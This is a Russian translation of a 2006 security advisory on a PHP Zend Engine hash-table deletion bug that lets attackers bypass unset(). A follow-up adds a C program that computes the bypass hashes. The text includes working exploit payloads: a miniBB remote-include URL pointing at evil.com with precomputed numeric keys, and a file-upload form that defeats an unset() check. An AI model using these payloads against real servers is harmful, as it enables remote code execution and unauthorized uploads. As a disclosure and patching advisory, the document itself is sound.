Уязвимость Zend_Hash_Del_Key_Or_Index В конце января 2006 года, мы обнаружили брешь в имплементации хэш-таблиц в Zend Engine, которая имеет большое влияние на безопасность PHP скриптов. В то время когда эта уязвимость была мгновенно пофиксена в PHP CVS, заняло 6 месяцев чтоб добавить заплатку в новый релиз PHP 4. К сегодняшнему дню мы делились детальной информацией об этой уязвимости только с несколькими доверенными людьми, посколько оффициальные PHP продукты были исправлены только неделю назад. Тем не менее, заплаты к этой уязвимости можно было скачать с http://www.hardened-php.net/ уже несколько месяцев назад и некоторые крупные дистрибутивы Линукс уже объединили наши фиксы в свои пакеты обновлений. Теперь, когда любой может обновить свою версию PHP к неуязвимой, мы в деталях опишем природу бреши, которая открывает новые уязвимости в PHP приложениях, а также показывает старые дыры, которые уже были известны и пофиксены. Zend Engine HashTables Чтоб понять описание уязвимости нужно сначала понять как работает имплементация HashTable в Zend Engine и для чего она используется. Во-первых, необходимо знать, что PHP использует Zend Engine HashTables на протяжении всего кода. Они используются чтоб хранить большие количества информации, такие как обработчики разных POST контент типов, или как обработчики регистрированных потоков. Кроме того, тип данных массива PHP и глобальная таблица имён - это ничто другое как Zend Engine HashTable, который хранит ZVAL указатели. PHP HashTables состоит из идентификатора хэш-таблицы и массива слотов области памяти (bucket-slots). Каждый с слотов области памяти указывает на двунаправленный список к участкам памяти, которая имеет одинаковое значение хэш-функции. Дополнительно двунаправленный список всех элементов храниться для легкой траверсии таблицы (прослеживания). Дескриптор хэш-таблицы Имя Описание nTableSize - Количество слотов области памяти (bucketslots) nTableMask - 2 ^ nTableSize - 1 nNumOfElements - Количество элементов, которые хранятся в таблице. uNextFreeElement - Следующий свободный числовой индекс pInternalPointer - Используется для прослеживания элементов pListHead - Заголовок двунаправленного списка всех элементов pListTail - Хвост двунаправленного списка всех элементов arBuckets - Указывает на массив сегмента памяти (bucketarray) pDestructor - Указывает на деструктор элемента persistent - Флаг: постоянная или по требованию хэш-таблица nApplyCount - Используется для защиты рекурсии bApplyProtection - Используется для защиты рекурсии. Сегмент памяти (Bucket) Имя Описаниеh - значение хеш-функции nKeyLength - strlen(key)+1 или 0 для числового индекса pData - Указатель на хранимую информацию pDataPtr - Место для хранения даных если это только указатель pListNext - Следующее в списке всех элементов pListLast - Последнее в списке всех элементов pNext - Следующее в списке элементов данной области памяти (bucketslot) pLast - Последнее в списке элементов данной области памяти (bucketslot) arKey - Буквенно-цифровой хэш-ключ если не цифровой индекс Значение хеш-функции Хэш-таблицы Zend Engine "знают" два типа индексов в PHP4: цифровые и буквенно-цифровые. Если индекс состоит только с цифр он автоматически обрабатывается как цифровой. В PHP5 это нетак, поскольку PHP5 "знает" о таблицах имён и о простых хэш-таблицах. В таблицах имён цифровые индексы все ещё обрабатываются автоматически. Когда индекс обрабатывается как цифровой, никакое вычисление значений хэш не производится. Вместо этого, цифровое значение используется для того, чтоб определить правильный слот сегмента памяти. Такой сегмент потом маркируется как цифровой индекс, устанавливая значение nKeyLength 0. Для буквенно-цифровых индексов ключ сначала хэшируется с помощью или DJBX33X для PHP 4 или DJBX33A для PHP 5. Потом значения хэш используется для определения слотов сегмента памяти. В случаи буквенно-цифровых ключей, значение хэш вводится в сегмент памяти, длина ключа плюс один заполняется в поле nKeyLength и ключ копируется в arKey. DJBX33A - Daniel J. Bernstein, Times 33 c Addition Code: static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength) { ulong h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h += (ulong) *arKey++; } return h; } DJBX33X - Daniel J. Bernstein, Times 33 c XOR Code: static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength) { ulong h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h ^= (ulong) *arKey++; } return h; } Уязвимость Просматривая zend_hash.c мы нашли глубоко спрятанную брешь в способе удаления элемента. Баг есть в функции zend_hash_del_key_or_index, которая используется например в PHP операторе unset(). Code: int zend_hash_del_key_or_index(HashTable *ht, char *arKey, uint nKeyLength, ulong h, int flag) { uint nIndex; Bucket *p; IS_CONSISTENT(ht); if (flag == HASH_DEL_KEY) { h = zend_inline_hash_func(arKey, nKeyLength); } nIndex = h & ht->nTableMask; p = ht->arBuckets[nIndex]; while (p != NULL) { if ((p->h == h) && ((p->nKeyLength == 0) || /* Numeric index */ ((p->nKeyLength == nKeyLength) && (!memcmp(p->arKey, arKey, nKeyLength))))) { /* CODE TO DELETE THIS ELEMENT */ ht->nNumOfElements--; return SUCCESS; } p = p->pNext; } return FAILURE; Этот код сначала вычисляет слот сегмента памяти,посредством осуществление операции AND, добавляя значения хэш к значению поля nTableMask. Для буквенно-цифровых ключей он для этого должен вызвать хэш-функцию. Потом он прослеживает сегменты памяти подключенные к слотам пока он не найдёт правильный сегмент и потом удалит его. К сожалению, логика определения корректного сегмента неправильна. Условия оператора if оценивается как true если значение хэш совпадает и сегмент есть цифровым индексом или сегмент буквенно-цифровой индекс и ключ совпадает. Это означает, что если кто-то хочет удалить буквенно-цифровой сегмент и в прослеженом списке есть перед этим сегмент с цифровым ключом с идентическим хэш-значением, то сегмент который односится к цифровому ключю будет удалён вместо буквенно-цифрового. Влияние Чтоб понять угрозу этого небольшого бага, необходимо осознать какие части PHP могут быть под влиянием этой уязвимости. Должно быть очевидным что одним с уязвимых мест есть оператор unset(), который может быть использован в PHP для удаления переменных с таблицы имён (идентификаторов) или для удаления элементов с массивов. К тому же, следует иметь в виду что очень часто в приложениях unset() используется для инициализирования переменных или для удаления нежелаемых переменных. В наши дни много приложений появляются с register_globals дерегистрационными уровнями, которые сначала unset() все нежелаемые глобальные переменные, как защиту против серверов где register_globals все ещё работают. Эти уровни обычно добавляются как защита против инициализации забытых переменных или после того, как приложение было уражено эксплойтами через отсутствие таких инициализацый. Примером приложений могут быть phpBB и Wordpress. Другие приложения, такие как например miniBB только unset() некоторые известные проблемы как фиксы к уже найденым эксплойтам. Хотя уже названные примеры могут заставить вас верить что такая проблемма задевает только серверы с включенным register_globals, будьте уверены - это не так. Например, один з найболее популярных форумов: vBulletin использует unset() в массиве _FILES, чтоб избавиться от непозволительных присоединений (аттачей). Другие приложения, которые не полагаются на включеный register_globals также могут быть уязвимы и некоторые примеры нам известны, хотя влияние на безопасность не такое большое как с теми серверами где register_globals ON. Для последих эта уязвимость PHP катастрофическая. Как пример: Когда magic_quotes_gpc OFF, а register_globals ON эта уязвимость может быть использована для удаленного исполнения PHP кода на серверах с последней версией phpBB 2.0.21 (По крайней мере, на данный момент нам только известно о баге который нуждается в отключеных magic_quotes_gpc. Хотя и другой баг может существовать, как например в предыдущих версиях phpBB только register_globals должна быть включена чтоб использовать другую брешь, которая тем временем пофиксена. Примеры miniBB В предыдущих версиях miniBB существовал удаленный URL инклуд через переменную includeHeader. Было возможным использовать эту уязвимость когда в конфиге не был указан includeHeader. Простой эксплойт к старым версиям выглядит примерно так: Code: http://server/miniBB/index.php?includeHeader=http://www.evil.com/? Эта уязвимость была пофиксена с помощью unset()'а переменной includeHeader в начале скрипта. Тем не менее, уязвимость zend_hash_del_key_or_index, описанная в этой статье, все ещё позволяет использовать эту брешь с некоторой модификацией эксплойта URL. Помня о баге, мы знаем, что все что там нужно для того, чтоб обойти оператора unset(), это цифровой ключ с тем значением хэш, которое стоит в списке перед буквенно-цифровым ключом. Это значит что он должен стоять в URL после переменной includeHeader, потому что следующие элементы ставятся в заголовок списка. Поскольку PHP 4 и PHP 5 используют две разные хэш функции, нам нужно вычислить два значения. Для буквенно-цифрового ключа includeHeader, они будут: Версия Значение PHP 4 -269001946 PHP 5 -834358190 Зная два значения нам теперь легко создать новый URL эксплойт: Code: http://server/miniBB/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1 Пример простой заливки файла: Эта уязвимость влияет и на скрипты, которые не надеятся на register_globals и мы показываем этот небольшой пример: Code: <?php include "../include/functions.inc.php"; session_start(); if (isset($_FILES['attachment']) && !uploadsAllowed($_SESSION['user'])) { unset($_FILES['attachment']); } if (isset($_FILES['attachment'])) { /* handle the file */ } ?> В этом маленьком примере вся безопасность основана на операторе unset() который должен удалять attachment с массива _FILES, если права не позволяют на заливку. Чтоб использовать уязвимость через брешь в unset() первым делом нам нужно определить значения хэш строки attachment. В таблице указаны правильные значения для обоих версий: Версия Значение PHP 4 472504636 PHP 5 1425328718 Теперь все что нужно для эксплойта такого PHP скрипта это простой измененный формуляр заливки файла. Code: <form method="post" action="vuln.php" encode="multipart/form-data"> <input type="file" name="attachment"> <input type="file" name="472504636"> <input type="file" name="1425328718"> <input type="submit" name="submit"> </form> После нажатия на кнопку "submit" скрипт будет успешно взломан. Рекомендация Эта уязвимость приносит вред большому количеству PHP приложений. Она создает новые большие дыры во многих популярных PHP продуктах. К тому же, старые баги, которые были раскрыты в прошлом, пофиксены только с помощью оператора unset(). Много этих дыр все ещё открыты если уже существующие эксплойты заменены с добавлением правильных цифровых ключей для обхода unset(). Пример такой старой уязвимость приведен выше с miniBB. Для phpBB такой старой дырой есть уязвимость signature_bbcode_uid которую мы раскрыли в прошлом. Тем не менее, недавние изменения в phpBB представили двойной unset() на signature_bbcode_uid который делает его защищенным к уязвимости unset(). К сожалению, все ещё существует баг в обработке переменной signature которая может быть использована сначала для SQL иньекции и хранения некоторых данных в базе и которые потом можно использовать для запуска произвольного кода. Детали уязвимостей такого типа не будут раскрыты сейчас. Мы настоятельно рекомендуем вам обновить PHP до последних версий (4.4.3 и 5.1.4) чтоб быть защищённым от этой уязвимости. К тому же, мы советуем использовать наш PHP Hardening-Patch, потому что он автоматически защищает от многих неизвестных багов. Автор: 2006 © Stefan Esser [email protected] Оригинал статьи: http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html Перевод: NeMiNeM для www.antichat.ru (c) Пример эксплойта: http://www.milw0rm.com/exploits/2291 ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить Спасибо.
Пример вычисления хэшей Code: #include <stdio.h> #include <string.h> static inline long hash_php5(char *arKey, int nKeyLength) { long h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h += (long) *arKey++; } return h; } static inline long hash_php4(char *arKey, int nKeyLength) { long h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h ^= (long) *arKey++; } return h; } int main() { char *chr = "GALLERY_BASEDIR"; int len = strlen(chr)+1; printf("%ld\n", hash_php5(chr, len)); printf("%ld\n", hash_php4(chr, len)); }